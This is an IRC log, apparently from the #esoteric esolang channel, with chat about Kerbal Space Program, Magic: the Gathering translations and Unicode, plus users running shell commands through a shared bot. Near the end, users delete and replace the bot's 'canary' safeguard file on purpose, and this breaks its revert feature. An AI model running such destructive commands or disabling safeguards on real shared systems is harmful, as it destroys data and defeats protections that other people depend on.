11:54:48 izabera: But to me it seems like "Don't put it here because we aren't suited to hide it properly; google will give you some better places" 11:55:28 * izabera googles child porn stash 11:58:23 izabera: Not even particularly funny. 11:58:57 i didn't actually google that 12:00:22 izabera: Yes, but this is a logged chat 12:00:29 izabera: Also, I'm an NSA bot 12:00:38 hi 12:02:05 does nsa even care about that? 12:02:50 i don't actually know much of what nsa does other than supposedly spying on people 12:03:25 that wouldn't threaten national security so i guess that's not their business 12:05:28 [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47160&oldid=46815 * Sesshomariu * (+76) /* Examples */ 12:05:48 people did an impressive job of misinterpreting the snowden leaks as "the nsa is personally reading everything you do" 12:06:23 izabellora. everything can be grounds to threatening national security hth 12:07:09 boily: Shush, don't give the terrorists ammo you national-security-damaging heathen 12:09:40 Да здравствует партия! 12:15:53 "This is one of those things where if someone walks in you switch to porn cause it's easier to explain" 12:19:28 -!- bender__ has changed nick to bender. 12:20:05 [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47161&oldid=47160 * Sesshomariu * (+0) /* Hello, world!(without string reversing) */ 12:20:44 -!- spiette has quit (Quit: :qa!). 12:20:49 -!- boily has quit (Quit: REFUTABLE CHICKEN). 12:21:03 -!- spiette has joined. 12:28:33 -!- idris-bot has joined. 12:29:42 -!- Koen_ has joined. 12:30:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 12:35:50 -!- idris-bot has quit (Read error: Connection reset by peer). 12:35:52 -!- Melvar has quit (Read error: Connection reset by peer). 12:37:31 -!- Melvar has joined. 12:52:39 -!- Melvar has quit (Ping timeout: 244 seconds). 12:52:50 -!- Melvar has joined. 12:55:05 -!- spiette has quit (Quit: :qa!). 12:55:13 -!- Koen_ has quit (Read error: Connection reset by peer). 12:55:39 -!- Koen_ has joined. 12:55:55 -!- izabera has quit (Ping timeout: 244 seconds). 12:57:23 -!- izabera has joined. 12:59:40 -!- Koen__ has joined. 13:02:06 -!- Koen_ has quit (Ping timeout: 250 seconds). 13:05:35 -!- vodkode has quit (Quit: Leaving). 13:08:06 -!- bender__ has joined. 13:08:20 -!- bender__ has quit (Changing host). 13:08:20 -!- bender__ has joined. 13:08:32 -!- bender has quit (Disconnected by services). 13:08:36 -!- bender__ has changed nick to bender. 13:09:32 -!- Melvar` has joined. 13:10:20 -!- Melvar has quit (Ping timeout: 250 seconds). 13:10:48 -!- Koen_ has joined. 13:11:26 -!- TellsTogo has quit (Ping timeout: 250 seconds). 13:11:56 -!- Koen_ has quit (Read error: Connection reset by peer). 13:12:23 -!- Koen_ has joined. 13:13:39 -!- Koen__ has quit (Ping timeout: 264 seconds). 13:24:00 -!- izabera has quit (Ping timeout: 260 seconds). 13:44:41 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 13:50:35 -!- izabera has joined. 14:06:29 -!- copumpkin has joined. 14:13:31 * \oren\ googles how send probe Sarnus 14:14:03 -!- J_Arcane has joined. 14:22:39 -!- lambda-11235 has joined. 14:24:28 \oren\, put more fuel on the lv-n upper stage? 14:25:07 it's been a while since i played ksp but it was never hard to get a few km/s of delta v into low orbit that way 14:35:27 -!- Kaynato has joined. 14:40:33 -!- Kaynato has quit (Ping timeout: 240 seconds). 14:40:45 -!- Kaynato has joined. 14:44:44 -!- TellsTogo has joined. 15:03:06 -!- mroman has quit (Quit: Lost terminal). 15:08:43 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 15:12:22 `olist 1039 15:12:35 olist 1039: shachaf oerjan Sgeo FireFly boily nortti b_jonas 15:14:33 -!- J_Arcane has joined. 15:17:14 2 page update 15:21:52 -!- TellsTogo has quit (Ping timeout: 250 seconds). 15:36:20 -!- Melvar` has changed nick to Melvar. 15:44:13 can someone please send some utf-8? 15:47:07 nö 15:50:04 ℃ℬ 15:50:12 How about that? 15:53:07 ∀∁∃ 15:53:26 ∰ 15:56:28 -!- izabera has changed nick to izbr. 15:56:48 Your poor vowels 15:57:55 H๑พ αв๑บт тнαт? 15:58:11 ʇɐɥʇ әqʎɐɯ ɹO 16:03:42 HQ plus/minus 2QB B = plus/minus B? 16:03:57 Pe u with grave q P o y O? 16:05:39 -!- augur has joined. 16:06:23 coppro: PeùqPoyO or what? 16:09:29 coppro: √Q±2QB²=±B 16:28:42 -!- spiette has joined. 16:48:14 [wiki] [[Special:Log/newusers]] create * Qwertyu63 * New user account 16:50:51 -!- augur has quit (Remote host closed the connection). 16:52:17 -!- gamemanj has joined. 16:53:28 -!- bender has quit (Quit: Leaving). 16:54:13 [wiki] [[User:Qwertyu63]] N https://esolangs.org/w/index.php?oldid=47162 * Qwertyu63 * (+1076) Created page with "This is a WIP project. Simple Lang: Simple Lang is a simple programming language designed to be easy to learn and read but hard to use. Values: There are two types of value i..." 16:54:20 -!- jaboja has joined. 16:55:29 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47163&oldid=47162 * Qwertyu63 * (+54) 16:56:57 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47164&oldid=47163 * Qwertyu63 * (+178) 16:57:53 -!- augur has joined. 16:58:30 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47165&oldid=47164 * Qwertyu63 * (+64) 17:17:24 <\oren\> I'm at the gate. 17:18:28 <\oren\> I am undefeated by your puny UTF-8 17:19:42 <\oren\> But soon I will be without internet, because I am not taking a first-class ticket... 17:21:42 <\oren\> can I survive 12 hours without internet accesss???!?! 17:21:56 <\oren\> find out next time, on DRAGON BALL ZEEEEEE! 17:23:26 <\oren\> Phantom_Hoover: I built a new upper stage with three nuclear engines, and then docked it with a few large fuel tanks 17:23:38 for a... probe?? 17:25:04 getting to jool is <2km/s, getting to sarnus shouldn't be much more 17:26:35 [wiki] [[Special:Log/newusers]] create * Jinhub * New user account 17:27:36 <\oren\> I plan on having it visit all the moons of Sarnus and perhaps then swing out to Urlum or something, and then maybe even return to Kerbin, or I'll send out a cruiser to rendezvous with it in interplanetary space and collec the science... 17:28:58 <\oren\> Nasa are amateurs. They should start bringing things home from Pluto. 17:30:17 <\oren\> I build all my craft with a lot of extra deltav. My Duna probe ended up visiting Eve as well. 17:31:53 <\oren\> It helps for example that my "LKO shuttle" can land on Minmus and return 17:32:43 <\oren\> don't build to spec, overbuild and then see what it can do! 17:35:52 <\oren\> real space programs can't afford to do that I suppose 17:41:26 wait, interplanetary space 17:41:29 they've added that? 17:49:40 <\oren\> Yes of cource you can visit variousplants 17:49:45 <\oren\> *planets 17:50:45 -!- xkapastel has joined. 17:53:40 [wiki] [[Special:Log/newusers]] create * DigitoriiX * New user account 17:57:25 <\oren\> and i installed some mods that add a bunch of new planets 17:59:33 `unicode U+0130 17:59:44 ​İ 17:59:49 urgh 18:00:05 my unicode is still borked 18:00:06 whyyyy 18:00:25 -!- Sprocklem has quit (Quit: brb). 18:00:44 -!- Sprocklem has joined. 18:01:39 oh wait, different terminal emulator 18:01:44 maybe that's it. maybe. 18:02:27 <\oren\> Try using PieTTY 18:04:13 -!- DigitoriiX has joined. 18:07:01 -!- AnotherTest has joined. 18:20:09 -!- Phantom__Hoover has joined. 18:20:27 -!- Phantom_Hoover has quit (Ping timeout: 246 seconds). 18:25:49 -!- Phantom_Hoover has joined. 18:28:58 -!- Phantom__Hoover has quit (Ping timeout: 258 seconds). 18:32:17 -!- Koen_ has quit (Remote host closed the connection). 18:38:18 -!- heroux has quit (Ping timeout: 246 seconds). 18:45:17 `unicode U+0130 18:45:22 ​İ 18:45:38 -!- heroux has joined. 18:46:16 `unicode U+0130 18:46:19 ​İ 18:46:48 `unicode U+0130 18:46:50 ​İ 18:46:53 blargh 19:04:28 -!- Koen_ has joined. 19:04:29 -!- izbr has changed nick to izabera. 19:10:39 -!- jaboja has quit (Ping timeout: 264 seconds). 19:14:26 -!- AnotherTest has quit (Ping timeout: 250 seconds). 19:32:15 -!- Phantom_Hoover has quit (Ping timeout: 264 seconds). 19:44:06 -!- Phantom_Hoover has joined. 19:52:18 [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47166&oldid=47161 * Sesshomariu * (+176) /* Examples */ 19:53:45 b_jonas: how 'bout that olist, huh 19:56:46 shachaf: what about it? 19:56:55 I asked first. 19:59:28 -!- augur has quit (Remote host closed the connection). 20:00:29 1039 has been olisted if that's the question 20:00:37 Yes, by b_jonas. 20:00:54 shachaf: Redcloak casts some sort of funny life saving spell on himself that I didn't know 20:01:16 oh you're not really talking about the olist 20:01:35 which is especially funny if you consider that the M:tG spells with the strange translated names are also lifesaving spells 20:01:43 Do they go into one door per day? 20:01:57 shachaf: no, they just hide, wait, and follow the heros 20:02:06 like Tarquin did 20:02:17 int-e: You're not even in the olist list. 20:02:53 shachaf: hence the misunderstanding... I don't care about the comic 20:03:02 so I though "olist" means "olist" 20:03:07 thought even 20:03:30 and not "latest update to oots" 20:04:15 Well, you're apparently interested in olist updates, even if you're not interested in the underlying comic strip. 20:04:19 `makelist olistlist int-e 20:04:58 shachaf: hey! are you trying to overwrite bin/olistlist ? 20:05:04 or does makelist check? 20:05:15 `cat bin/olistlist 20:05:18 cat: bin/olistlist: No such file or directory 20:05:31 more like nolistlist 20:09:41 https://citra-emu.org/ cool 20:12:57 -!- ais523 has joined. 20:18:29 -!- asie has joined. 20:18:32 hi 20:19:48 ais523: I found out something about M:tG today and it sort of shocked me. you might already be aware of it 20:20:04 ais523: there are German printings of two cards whose German names are identical, despite that their English names differ, and also this German name is identical to the English name of one of those cards. 20:20:28 ais523: http://magiccards.info/10e/de/290.html http://magiccards.info/m10/de/202.html 20:20:32 I knew that 20:21:24 ais523: how common is it? and why are they doing it? is it just a stupid mistake? 20:21:46 How do you tell which card a translated card is? 20:21:47 b_jonas: very rare but not unheard of (there are a few similar examples), and mostly it's just by mistake 20:22:01 Does the English name appear somewhere on it? 20:22:15 regenerate... regeneration... poor translators! 20:22:16 shachaf: that's actually a really interesting point 20:22:29 expansion symbol + collector number would be the obvious way to me 20:22:35 but I'm not sure it's applicable in 100% of cases 20:22:50 art would be another way, and the way that most players use in practice, but that wouldn't work for promo cards 20:23:14 When would it not be applicable? 20:23:48 If I remember correctly, officially the name is the only part of a card that really matters? 20:24:02 People can paint over the rest of it if they want. Or something like that. 20:24:24 shachaf: the English name is the only part that officially matters 20:24:52 and when altering a card, I believe the rule is that you have to leave the name and mana cost visible, and the art has to depict what the card is about 20:25:18 (this is why basic lands are the most commonly altered cards; if you alter a Forest, you just have to draw a forest, and there are a huge number of ways to do that) 20:25:19 But the official art rarely depicts what a card is about. 20:25:45 yes, this is why altering is difficult 20:25:48 -!- xkapastel has quit (Quit: Connection closed for inactivity). 20:25:53 for cards that depict a story character it isn't too hard 20:26:27 Anyway, if you have cards with identical non-English names, it seems like it would be problematic to alter them. 20:28:15 ais523: old cards don't have collector numbers, but old cards also don't have translated versions, and I'm not sure how these compare in time 20:28:41 very old cards don't have expansion symbols 20:29:02 Hmm, there's a promotional card printed in Hebrew. 20:29:41 ais523: why it looks strange to me is that Regenerate is from M10, so I'd have thought at that point they were paying attention to these sorts of things 20:29:57 http://www.trollandtoad.com/p123476.html 20:29:58 TG 20:30:05 b_jonas: I get the impression that Wizards is severely understaffed 20:30:57 http://magiccards.info/query?q=staff 20:31:01 Only 18 results. 20:31:19 And "Staff of the X Magus" were all terrible. 20:32:18 I don't even understand those cards. 20:32:21 "Wizards.com is down for routine server maintenance." 20:32:23 shachaf: those are apparently intentionally bad cards made to appeal to new players 20:32:33 they write articles about them on occasion 20:32:46 I think I put one in my early decks. 20:32:51 shachaf: a promo card in hebrew? wow 20:32:55 I never heard of that 20:32:59 there was a previous cycle with that purpose, "whenever a player casts a red spell you gain 1 life" etc. 20:33:16 but it turned out to be fringe playable in very centralized metagames 20:33:24 if you were playing red and your opponent was playing a red-based burn deck 20:33:25 ais523: sure, Kraken's Eye cycle. I have thos 20:33:37 b_jonas: http://www.snazzorama.com/magic/lang/ 20:34:26 shachaf: I think I'm the only player in my group who sometimes plays with foreign language cards, and even I have very few of them 20:34:44 only about a dozen, and some of them I have already replaced by English ones 20:34:50 I prefer English cards 20:34:51 Use it if you have a lot of red cards, especially if you are not playing any white cards too 20:34:58 in other news, I visited a site with JavaScript turned off 20:35:14 and the only thing visible was a link to http://www.whatbrowser.org/ , which I found hilariously passive-agressive 20:35:18 *aggressive 20:35:45 (turns out there was other text in the page, saying something like "you need a browser that supports JavaScript to view this page", but it was accidentally black on black, presumably they don't test the page with JS off very often) 20:36:05 the irony here is that whatbrowser doesn't really work with JavaScript turned off either 20:36:11 and thus is a very bad link to use for that purpose 20:36:39 what the heck is whatbrowser? 20:37:43 shachaf: wait what? that page seems to tell only how to identify the _language_ of the card from the card. how is that even useful? 20:37:52 I assumed it was trying to tell how to identify what card it is 20:37:58 like, the English name of the card 20:38:36 b_jonas: I was confused by the same thing. 20:38:52 b_jonas: But I just linked to it for the list of five one-off cards. 20:39:16 shachaf: ah! 20:39:16 b_jonas: I don't know, I'd never seen it before 20:39:18 but I linked it earlier 20:39:47 "The following five promotional cards are each printed in a language that no other cards are. From left to right, the languages are Hebrew, Arabic, Sanskrit, Classical Greek, and Latin." 20:40:00 and they're not even Un-promos 20:40:19 Anyway we never used non-English cards. 20:40:29 We only used cards from booster boxes, in fact. 20:40:50 Because we felt like WotC wasn't making nearly enough money, I guess. 20:41:15 shachaf: aren't there foreign language booster boxes? I mean, I think that's where most foreign language cards come from 20:41:27 Well, yes. 20:42:04 But I suspect that English-speaking players who use non-English cards usually get them individually, not in boxes. 20:42:26 it's very lucky there are no hungarian language cards. if there were, I'd be flooded with stupid translated cards probably. 20:43:37 Munchkin has hungarian translation, but luckily it's not a collectible cg 20:43:43 I kind of want to get the Hebrew card. 20:43:59 I guess it's not even Modern-legal. 20:44:08 I could make a Commander deck. 20:44:36 and munchkin has a card that gets a bonus against creatures whose names start with a letter "J" 20:45:25 http://magiccards.info/ptc/en/17.html => yep 20:56:31 -!- idris-bot has joined. 21:10:48 -!- ais523 has quit (Read error: Connection reset by peer). 21:58:57 whoa whoa whoa 21:59:03 `smlist kickstarter 21:59:17 smlist kickstarter: shachaf monqy elliott mnoqy 21:59:43 `smlist 438 21:59:49 smlist 438: shachaf monqy elliott mnoqy 21:59:50 `smlist 439 21:59:51 smlist 439: shachaf monqy elliott mnoqy 22:03:20 -!- pikhq has quit (Ping timeout: 250 seconds). 22:08:00 -!- gamemanj has quit (Ping timeout: 276 seconds). 22:10:10 -!- pikhq has joined. 22:26:18 -!- hppavilion[1] has joined. 22:27:11 -!- spiette has quit (Quit: :qa!). 22:33:29 shachaf, you're the only person on this list still in the channel 22:33:38 -!- qrf has joined. 22:33:54 Sure. 22:34:06 Phantom_Hoover: people might be reading under another name or from the logs 22:34:06 But if I keep up the notifications other people might get interested. 22:34:15 Phantom_Hoover: Which list? 22:34:21 Phantom_Hoover: There's a list? 22:34:24 I WANT TO SEE THE LIST 22:34:25 Phantom_Hoover: I mean, I have some alternate nicknames highlighting me 22:34:28 hppavilion[1]: smlist 22:34:32 `smlist 22:34:35 smlist: shachaf monqy elliott mnoqy 22:34:39 Um. 22:34:41 hppavilion[1]: HEY! don't do that 22:34:41 b_jonas: What's smlist? 22:34:47 hppavilion[1]: `? smlist tells 22:34:48 Don't `anylist if there's no actual update. 22:34:50 That's very rude. 22:34:53 `? smlist 22:34:54 `pbflist 22:34:54 Non-update notification for the webcomic Super Mega. 22:34:55 pbflist: shachaf Sgeo quintopia ion b_jonas 22:35:02 Oh 22:35:11 shachaf: I didn't know what smlist does 22:35:16 shachaf: Sorry 22:35:20 Phantom_Hoover: That one's already been listed. 22:35:22 -!- sheldon has joined. 22:35:28 If you mean 275. 22:35:31 lp00^ 22:35:36 -!- sheldon has quit (Client Quit). 22:35:37 oh well 22:36:02 there is a feature for that now 22:36:05 afaict 22:36:23 `? pbflist 22:36:26 pbflist is update notification for the Perry Bible Fellowship webcomic. http://pbfcomics.com/ 22:36:40 `culprits wisdom/smlist 22:36:50 does putting the number after it prevent it being sent more than once? 22:36:50 Why doesn't it say "smlist is ...", `learn-style? 22:36:56 int-e 22:37:00 No. 22:37:06 Well, unless people read the logs. 22:37:19 Where can I find the amazing, god-like software used in http://xkcd.com/1690/? 22:37:25 that seems like a useful feature. 22:37:51 quintopia: fix it 22:38:03 i suck at the bashes 22:38:07 If you fix it we should talk about how lists work. 22:38:15 quintopia: `learn 22:38:16 Because really they ought to share code. 22:38:30 shachaf: well, there's an mklist 22:38:39 Right, but mklist just copies. 22:38:41 b_jonas: 'an'? 22:38:43 hppavilion[1]: www.rescuetime.com 22:38:56 So you can't retroactively change list code. 22:38:58 shachaf: oh, you mean they should share code where you give a number and if that number was already listed for that list then it doesn't ping anyone? 22:39:10 or if you want something custom and manual: http://messymatters.com/tagtime/ 22:39:18 The point is that the list code should only exist in one place in HackEgo. 22:39:30 shachaf: ah, you mean good practices like code reuse 22:39:31 yeah 22:39:45 quintopia: And how does it detect that I'm e.g. going through all the star wars movies and digitally replacing all of the lightsabres with regular metal swords? 22:39:47 b_jonas: that is what i'd like to have yes 22:39:51 Is it... is it Strong AI? 22:39:58 So with the current scheme, a list might be something like 'name="$1"; shift; exec runlist "$name" "$@"' 22:40:17 hppavilion[1]: TagTime does that, if you manually enter a tag to track that activity 22:40:27 shachaf, quintopia: feel free to fix them, but I think it should be "$*" instead of "$1" 22:40:29 quintopia: Oh, that's boring 22:40:34 although it probably doesn't matter 22:40:41 since it's invoked with backtick usually 22:40:54 only passes one arg 22:41:01 so scratch that 22:41:10 "$1" is fine 22:41:44 And then runlist would be something like 'grep -q "$2" share/listarchive/"$1" && exit; echo "$1" > share/listarchive/"$1"; tail -n+2 bin/"$1"' 22:41:56 Of course at that point there's no need to use this ridiculous self-modifying code scheme. 22:42:15 shachaf: grep -qx probably 22:42:19 You can just have share/list/smlist containing usernames or something. 22:42:22 shachaf: This is #esoteric, so yes there is. 22:42:25 b_jonas: Look, that's why I said "something like". 22:42:29 yeah 22:42:39 hppavilion[1]: I wrote that self-modifying thing in the first place. 22:42:56 hppavilion[1]: as you have so astutely noted, anything less manual is AI-hard, and frankly, its existence would be terrifying 22:43:19 shachaf: and you'd probably have to do something with empty or no argument 22:43:19 b_jonas: Also I mean 'echo "$2" >>', not 'echo "$1" >' 22:43:30 Look, that's why I said "something like". 22:43:35 I know 22:43:54 I just wonder what the semantics for that should be 22:43:57 is it wrong for b_jonas to suggest what space "something like" could span? 22:44:05 If you want to revamp lists, you should gopher it. 22:44:45 i don't have talent or a gopher client 22:45:03 Then go for it. 22:45:48 i'll go away from it 22:59:19 ``` perl -e 'for $l (glob("bin/*list")) { open$i,"<",$l or die; q[echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit]."\n" eq <$i> and print $l,"\n"; }' 22:59:21 bin/aglist \ bin/bardsworthlist \ bin/ehlist \ bin/emptylist \ bin/erflist \ bin/flist \ bin/ioccccccccclist \ bin/keenlist \ bin/llist \ bin/olist \ bin/pbflist \ bin/slist \ bin/smlist \ bin/wrlist 22:59:36 ``` perl -e 'for $l (glob("bin/*list")) { open$i,"<",$l or die; q[echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit]."\n" eq <$i> or print $l,"\n"; }' 22:59:37 bin/danddreclist \ bin/don'taskdon'ttellllllllist \ bin/dontaskdonttelllllllist \ bin/FireFlist \ bin/list \ bin/listlist \ bin/makelist \ bin/mlist \ bin/testlist 22:59:44 just to see what we should replace 22:59:49 Also I hope it's not written in Perl. 23:00:02 shachaf: what's not written in perl? 23:00:15 The list replacement. 23:00:28 shachaf: there isn't one yet 23:00:33 Right. 23:00:38 Do you prefer future tense? 23:00:43 I hope it won't be written in Perl. 23:02:04 I hope it will not have been written in Perl. (have some future perfect!) 23:03:16 where do we put execuables that shouldn't be executed directly? we don't have a libexec directory 23:03:25 the list replacement backend (that each list invokes) should be there 23:03:36 I think it's fine to put in in bin/ 23:03:42 shachaf: nah, bin's in the path 23:03:47 So? 23:03:50 this shouldn't be in the path 23:03:58 Just give it a long name. 23:04:03 I could create a directory under lib or under share 23:04:23 `? keenlist 23:04:25 keenlist is notification for when Tom Hall finally acquires the necessary intellectual property rights to create the videogame series Commander Keen: The Universe is Toast 23:04:41 oh I knew that... didn't remember though 23:04:52 I think I'm the culprit of that one 23:04:53 `culprits lib 23:05:07 oerjan oerjan oerjan elliott kmc kmc ais523 ais523 elliott FreeFull oerjan FreeFull Gregor nitia 23:05:29 b_jonas: Is keenlist a one-time list? 23:05:38 shachaf: probably yes 23:05:39 We've had others, like slist. 23:05:46 `? slist 23:05:47 Self-deleting is a useful feature. 23:05:48 Update notification for the webcomic Homestuck. 23:05:51 `` rm canary; keenlist 23:05:55 keenlist: b_jonas 23:06:08 . o O ( there are no one-time lists ) 23:06:49 but this one isn't self-deleting anyway 23:07:04 Right. 23:07:14 A true self-deleting list ought to touch canary as well. 23:07:30 shachaf: what does canary even do? 23:07:36 and what does touching canary do? 23:07:43 oh, I should turn the order around... thanks 23:08:18 HackEgo won't commit your changes if canary doesn't exist. 23:08:28 shachaf: ah! 23:08:28 the canary detects that the coal mine is running low on oxygen 23:08:49 int-e: should be called davy-lamp then 23:09:13 mostly it's a basic protection against rm -rf / kind of stuff 23:09:33 int-e: yeah 23:09:49 int-e: but how does touching help? ah... right 23:10:04 in case you deleted it 23:10:06 shachaf brought up touching 23:10:34 which means I should rm it afterwards... or perhaps mv it away so that making it a directory doesn't help either... hmmmmmmm 23:10:49 int-e: rm;mkdir it, that's probably safer 23:10:59 -!- augur has joined. 23:11:02 or, um 23:11:10 ``` ls -dl canary 23:11:15 ​-rw-r--r-- 1 5000000000 0 39 Jun 7 22:10 canary 23:11:18 yes, tha 23:11:44 ls --downlow 23:12:00 what 23:12:32 b_jonas: I want it to be gone. 23:12:38 I've been trying to think of ways to delete canary. 23:12:40 b_jonas: shachaf is the one who wanted to create it 23:12:59 ``` rm canary && mkdir canary 23:13:03 rm: cannot remove `canary': Is a directory 23:13:11 ``` ls -dl canary 23:13:14 drwxr-xr-x 2 5000000000 0 4096 Jun 7 22:12 canary 23:13:22 Thanks for breaking revert. 23:13:34 ``` rmdir canary && touch canary 23:13:36 rmdir: failed to remove `canary': No such file or directory 23:13:39 ``` ls -dl canary 23:13:41 ls: cannot access canary: No such file or directory 23:13:53 whoa whoa whoa 23:14:04 `` touch AAAARGH 23:14:07 No output. 23:14:17 `` ls -ld canary 23:14:21 ls: cannot access canary: No such file or directory 23:14:23 ``` echo -n > canary 23:14:26 No output. 23:14:28 ``` ls -dl canary 23:14:30 ​-rw-r--r-- 1 5000000000 0 0 Jun 7 22:13 canary 23:14:46 ``` stat canary 23:14:48 ​ File: `canary' \ Size: 0 Blocks: 0 IO Block: 1024 regular empty file \ Device: 12h/18dInode: 672260 Links: 1 \ Access: (0644/-rw-r--r--) Uid: ( 500000000/ UNKNOWN) Gid: ( 0/ UNKNOWN) \ Access: 2016-06-07 22:13:53.000000000000000 +000000000 \ Modify: 2016-06-07 22:13:52.00000000000000000000 +00000000 \ Change: 23:15:23 `` ls -la /dev/urandom 23:15:24 crw-rw-rw- 1 0 0 1, 9 Jan 29 2014 /dev/urandom 23:16:21 `` mktemp aXXXXXX 23:16:26 aeDAGoZ 23:16:34 `revert 23:16:35 `` ls -lart | tail -n1 23:16:38 drwxr-xr-x 15 0 0 0 Jun 7 22:16 .. 23:16:51 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 23:17:40 `sorry 23:17:42 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sorry: not found 23:18:01 fungot, are you ok? 23:18:01 b_jonas: i told haskell to print the type in any binding form. k is bound to some initialization at loadtime 23:18:04 `? shavention 23:18:05 shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 23:18:15 fungot: with monotype restriction? 23:18:28 uh 23:18:34 `sled wisdom/shavention//s/\*list, // 23:18:38 wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 23:18:44 b_jonas: now you have to reinvent lists hth 23:19:09 Taneb: Did you invent shaving? 23:19:21 `quote invent anything 23:19:22 1278) Morning G'daneb invent anything good overnight? I don't know yet, I haven't read the logs 23:19:44 shachaf, I did not invent shaving, otherwise I'd be better at it 23:20:12 @time Taneb 23:20:12 Local time for Taneb is Tue Jun 07 23:20:11 23:20:37 Taneb: Sometimes the first person to do something is the worst at it. 23:20:49 Since everyone else is standing on the shoulders of giant Tanebs. 23:21:12 @devils lawyer 23:21:13 *** "lawyer" devil "The Devil's Dictionary (1881-1906)" 23:21:13 LAWYER, n. One skilled in circumvention of the law. 23:21:13 23:21:22 why the extra newline... 23:23:03 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 23:23:37 -!- boily has joined. 23:23:45 `? automatic squirrel feeder 23:23:49 Automatic squirrel feeders are just feeders in the category of automatic squirrels. Taneb invented them. 23:25:01 who are the squirrels fed to? 23:25:07 `? english 23:25:09 english? ¯\(°​_o)/¯ 23:27:06 `perl -e chdir "wisdom" or die; for $w (map {glob} qw"* */* */*/*") { if (open my$i,"<",$w) { local $/; my$t=<$i>; $t=~/invent/ai && $t=~/\btaneb/ai and print "|$w "; } } 23:27:10 ​|automatic squirrel feeder |bbc |bdsm |bogosort |chu space |ci |costume |d-module |deniability |fundamental theorem of taneb |go |histogram |nih |nooodle |persistence |progres |real |shavention |stephen wolfram |tanebvention |tetris |the reals |the torus |the universe |this sentence |torus |universe |weetoflake |wolfram 23:27:11 `? wolfram 23:27:13 Stephen Wolfram is an esolanger with too much money and power. Taneb invented him. 23:27:17 `? go 23:27:19 Go is a common verbal game programming language invented by the Germanic Taneb tribes in the strategic territories of East Asia. 23:27:24 `? d-module 23:27:26 D-modules are just modules over the ring of differential operators. Taneb invented them. 23:27:27 `learn English is an inherently ambiguous context-sensitive language that is too powerful to fully describe itself. 23:27:27 `? costume 23:27:34 Costumes are used for cosplay. Taneb sometimes invents them. 23:27:37 Learned 'english': English is an inherently ambiguous context-sensitive language that is too powerful to fully describe itself. 23:27:45 `? historgram 23:27:46 `? nih 23:27:46 historgram? ¯\(°​_o)/¯ 23:27:48 NIH was /not/ invented by Taneb. 23:27:53 `? fundamental theorem of taneb 23:27:55 The Fundamental Theorem of Taneb states that for all strings S, if S describes a thing, then it is provable that Taneb invented the thing described by S; and, furthermore, that it is provable that there exists a string T that describes a thing that Taneb did not invent. 23:27:59 `? histogram 23:28:01 Histograms are diagrams showing histamine levels. Taneb invented them. 23:28:03 int-e: the squirrels are fed to the automats hth. 23:28:27 `? chu space 23:28:28 A Chu space is just a matrix. Taneb invented them, then Chu stole his invention. 23:28:29 `? torus 23:28:32 Topologically, a torus is just a torus. Taneb invented it. 23:28:39 `? the reals 23:28:40 boily: darn. I was picturing things of nightmares... like the teletubbies. 23:28:40 The reals are an overt complete ordered Brazilian currency invented by Taneb in 1994. 23:29:16 heh 23:29:32 `? teletubbies 23:29:34 teletubbies? ¯\(°​_o)/¯ 23:29:37 `? lie algebra 23:29:38 A Lie algebra is what you get if you take the region infinitesimally close to the identity of a Lie group and blow it up to normal size. 23:30:06 ... it's the opposite of a Truth algebra. 23:30:12 did taneb invent lie algebras? 23:30:21 or teletubbies? 23:30:23 `? tanebventions 23:30:26 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 23:30:36 b_jonas, this time next year I'll have invented Lie algebras 23:30:40 hmm. Taneb vented. 23:31:15 `? venture 23:31:27 venture? ¯\(°​_o)/¯ 23:32:11 int-e: https://www.youtube.com/watch?v=5qvCQv-CDr4 23:33:26 Now I want to connect venture capital, venting (which has to do with hot air), bubbles, and stock market bubble in partiuclar. 23:34:33 but good night 23:36:00 bonne nuint-e! 23:37:03 ``` >>wisdom/it echo -n "Taneb invented it. " 23:37:09 No output. 23:38:35 `? submarine jousting 23:38:37 submarine jousting? ¯\(°​_o)/¯ 23:38:45 ^ should this have a wisomd entry? or is it a better joke unexplained? 23:39:04 um, I mean, as an in-joke whose explanation we don't reveal 23:39:32 (though the diligent can find it if they search the channel logs carefully) 23:39:58 `? Lambek's lemma 23:39:59 Lambek's lemma? ¯\(°​_o)/¯ 23:40:06 `le/rn submarine jousting/This is unexplainable. 23:40:11 Learned «submarine jousting» 23:40:14 I've no idea what Lambek's lemma is though 23:40:54 Taneb: did you tanebvent lambek? 23:41:05 -!- hppavilion[1] has joined. 23:41:07 boily: um, could you put that in a format where it has "submarine jousting", like "submarine jousting is unexplainable"? 23:41:25 oh hm. indeed. 23:41:37 `? tolkien 23:41:38 `? ring 23:41:39 tolkien? ¯\(°​_o)/¯ 23:41:40 Addition, subtraction and multiplication have a certain ring to them. 23:41:40 `? one ring 23:41:41 `le/rn submarine jousting/submarine jousting is unexplainable. 23:41:44 One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them 23:41:46 Relearned «submarine jousting» 23:42:20 `? evil 23:42:21 evil? ¯\(°​_o)/¯ 23:42:21 `? evil twin 23:42:23 evil twin? ¯\(°​_o)/¯ 23:42:28 `? oerjan 23:42:29 Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His 